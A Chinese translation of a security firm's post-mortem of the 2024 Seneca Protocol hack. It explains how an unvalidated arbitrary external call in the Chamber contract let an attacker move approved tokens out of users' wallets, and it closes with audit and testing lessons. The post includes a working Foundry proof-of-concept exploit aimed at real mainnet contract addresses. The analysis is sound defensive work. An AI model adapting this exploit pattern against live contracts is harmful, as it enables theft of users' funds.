漏洞分析与概念验证:Seneca攻击

  • cyfrin
  • 发布于 2024-04-01 23:56
  • 阅读 56

Seneca协议在2024年2月28日遭遇黑客攻击,损失约600万美元。攻击的原因是Chamber合约在执行外部调用时缺乏输入验证,攻击者借此机会调用任意合约,转移用户的钱包资产。该事件揭示了智能合约安全性的重要性,尤其是在审计和全面测试方面。

Seneca Protocol 是一个去中心化金融产品,遭受了约 600 万美元的攻击。以下是具体发生的情况、概念验证以及如何防范。

在 2024 年 2 月 28 日,Seneca Protocol 被攻击,损失约 600 万美元。 攻击的原因是 Chamber 合约在用户资金上有 approval 权限,同时在 Chamber 合约中存在 外部调用

在代码中,外部调用被访问到了 Chamber::performOperations 这个外部函数内。这使得攻击者可以决定调用哪个内部函数。具体而言,这允许攻击者调用 Chamber::_call,攻击者可以对任何合约调用任何函数,因为它接受任意 callData 和任意 callee 地址。因此,攻击者能够执行 transferFrom()将代币从用户的钱包转移到攻击者的地址

这一攻击直接导致了用户的钱包中的资金被盗,而不是从用户直接存入 Seneca 的资金中被盗。

Seneca Protocol 及其背景

Seneca Protocol 是一个去中心化金融(DeFi)抵押债务头寸(CDP)协议,用于产生收益的资产。 它允许用户用产生收益的资产作为抵押借入 senUSD——一种与 1 美元Hook的稳定币,并利用收益。

发生这次攻击的原因是 Chamber 合约的漏洞,这是一个抵押债务头寸工厂。Chamber 合约允许用户用抵押代币借入 $senUSD,同时在其抵押上赚取固定收益。

漏洞细节

攻击者通过利用在调用 Chamber::performOperations缺乏输入验证,盗取了总计约 600 万美元的资金:

攻击者的 performOperations 调用的 1/7

Chamber::performOperations 是一个 external 函数,允许调用者指定以下内容:

  • actions:一个 int8 数组,用于指定要调用的目标函数。
  • values:一个 uint256 数组,用于指定随函数调用一起发送的 ETH 数量。
  • data:一个 bytes 数组,用于指定函数的参数。

使用 30 作为 actions[0] 的值意味着 Chamber::performOperations 调用了内部函数 Chamber::_call


// 在 Constants.sol 中指定的常量
uint8 public constant OPERATION_CALL = 30;

// 在 performOperations() 中的 IF 语句
else if (action == Constants.OPERATION_CALL) {
    (bytes memory returnData, uint8 returnValues) = _call(values[i], datas[i], value1, value2);
    ...
}

这使得攻击者可以 使用任意数据调用任何合约。攻击者能够将 callData 设置为代币的 transferFrom() 函数,指定 from 地址为用户的地址,to 地址为攻击者的 EOA 地址: ‍


function _call(
        uint256 value,
        bytes memory data,
        uint256 value1,
        uint256 value2
    ) whenNotPaused internal returns (bytes memory, uint8) {
        (address callee, bytes memory callData, bool useValue1, bool useValue2, uint8 returnValues) =
            abi.decode(data, (address, bytes, bool, bool, uint8));

        if (useValue1 && !useValue2) {
            callData = abi.encodePacked(callData, value1);
        } else if (!useValue1 && useValue2) {
            callData = abi.encodePacked(callData, value2);
        } else if (useValue1 && useValue2) {
            callData = abi.encodePacked(callData, value1, value2);
        }

        require(!blacklisted[callee], "Chamber: can't call");

   // 外部调用,调用者可以指定 callee、value 和 callData!
        (bool success, bytes memory returnData) = callee.call{value: value}(callData);
        require(success, "Chamber: call failed");
        return (returnData, returnValues);
}

由于 msg.sender 为 Chamber 合约,攻击者能够转移资金到自己账户,因为 Chamber 合约的批准额度超过了总抵押金额。

来自 performOperations 调用的 transferFrom()

这意味着攻击者能够窃取超过 600 万美元的用户资金。在 Seneca 发出请求通过白帽请求返还大部分资金后,现在已追回 80% 的资金。


攻击者在攻击前的余额:0 PT-rsETH
用户在攻击前的余额:1385 PT-rsETH
攻击者在攻击后的余额:1385 PT-rsETH
用户在攻击后的余额:0 PT-rsETH

概念验证:重现黑客攻击

以下代码 https://github.com/ciaranightingale/seneca-poc,基于 Foundry 编写,是此次攻击的概念验证,并重现了上述攻击步骤:


contract SenecaPoC is Test {
    IERC20 constant PTrsETH = IERC20(0xB05cABCd99cf9a73b19805edefC5f67CA5d1895E);
    IChamber constant CHAMBER = IChamber(0x65c210c59B43EB68112b7a4f75C8393C36491F06);

    function setUp() public {
        vm.createSelectFork("eth", 19325936);
        //vm.etch(address(MARKETS_IMPL), address(deployCode('MarketsView.sol')).code);
        vm.label(address(CHAMBER), "Chamber");
    }

    function testPoc() public {
        console.log("攻击者在攻击前的余额:", PTrsETH.balanceOf(0x94641c01a4937f2C8eF930580cF396142a2942DC)/1e18, "PT-rsETH");
        console.log("用户在攻击前的余额:", PTrsETH.balanceOf(0x9CBF099ff424979439dFBa03F00B5961784c06ce)/1e18, "PT-rsETH");
        // 传递给 performOperations 的参数
        // 执行 OPERATION_CALL = 30 使 _call 被调用
        uint8[] memory actions = new uint8[](1);
        actions[0] = 30;

        // 发送交易的未使用值
        uint256[] memory values = new uint256[](1);
        values[0] = 0;

        // 创建 datas 数组参数(提供给调用的参数)
        bytes[] memory datas = new bytes[](1);
        // 指定 Chamber 合约调用 tranferFrom
        bytes memory callData;
        callData = abi.encodeWithSignature("transferFrom(address,address,uint256)", 0x9CBF099ff424979439dFBa03F00B5961784c06ce, 0x94641c01a4937f2C8eF930580cF396142a2942DC, 1385238431763437306795);
        address callee = address(PTrsETH);
        bool useValue1 = false;
        bool useValue2 = false;
        uint8 returnValues = 0;
        bytes memory data = abi.encode(callee, callData, useValue1, useValue2, returnValues);
        datas[0] = data;

        CHAMBER.performOperations(actions, values, datas);

        console.log("攻击者在攻击后的余额:", PTrsETH.balanceOf(0x94641c01a4937f2C8eF930580cF396142a2942DC)/1e18, "PT-rsETH");
        console.log("用户在攻击后的余额:", PTrsETH.balanceOf(0x9CBF099ff424979439dFBa03F00B5961784c06ce)/1e18, "PT-rsETH");
    }
}

关键要点

  • 审计: 此协议,包括 Chamber 合约,已经过审计。尽管如此,漏洞在攻击前并未被修复。该协议原定于 11 月进行竞争审计,但审计并未进行。建议进行多轮审计,包括 私密和竞争审计
  • 全面测试: 审计并不是防止攻击的万无一失的保护措施。确保智能合约安全需要进行全面的测试,包括不变量测试。

-- 了解关于模糊不变量测试如何帮助发现这些漏洞的更多内容,请阅读 这篇文章

总结

缺乏输入验证导致约 600 万美元的用户资金被盗。

对协议进行审计显著降低了此类攻击发生的概率。

参考资料

  • 原文链接: cyfrin.io/blog/seneca-at...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
cyfrin
cyfrin
Securing the blockchain and its users. Industry-leading smart contract audits, tools, and education.